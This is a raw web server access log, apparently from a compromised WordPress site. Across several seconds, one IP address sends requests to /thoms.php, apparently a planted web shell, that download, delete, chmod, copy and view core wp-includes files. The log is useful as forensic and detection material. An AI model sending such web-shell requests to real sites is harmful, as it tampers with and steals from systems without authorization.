45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?dl=feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-site.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22254 "https://163.245.207.76:443/thoms.php?dl=feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?del=registration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?del=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22187 "https://163.245.207.76:443/thoms.php?del=registration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?del=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FRequests HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-term-query.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22242 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=robots-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?dl=rss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?chmod=class-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22288 "https://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?del=class-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22227 "https://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?dl=post-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=post-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?del=images&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=images&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:06 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FText HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?del=images&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-patterns.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?chmod=cache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22258 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22194 "https://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?dl=class-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?dl=class-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-parser-block.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22216 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-cookie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?chmod=class-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-plugin-dependencies.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22204 "https://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?dl=class-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22144 "https://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpomo HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22197 "https://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?chmod=admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?chmod=class-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22243 "https://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?del=class-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22272 "https://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22232 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?del=feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22187 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
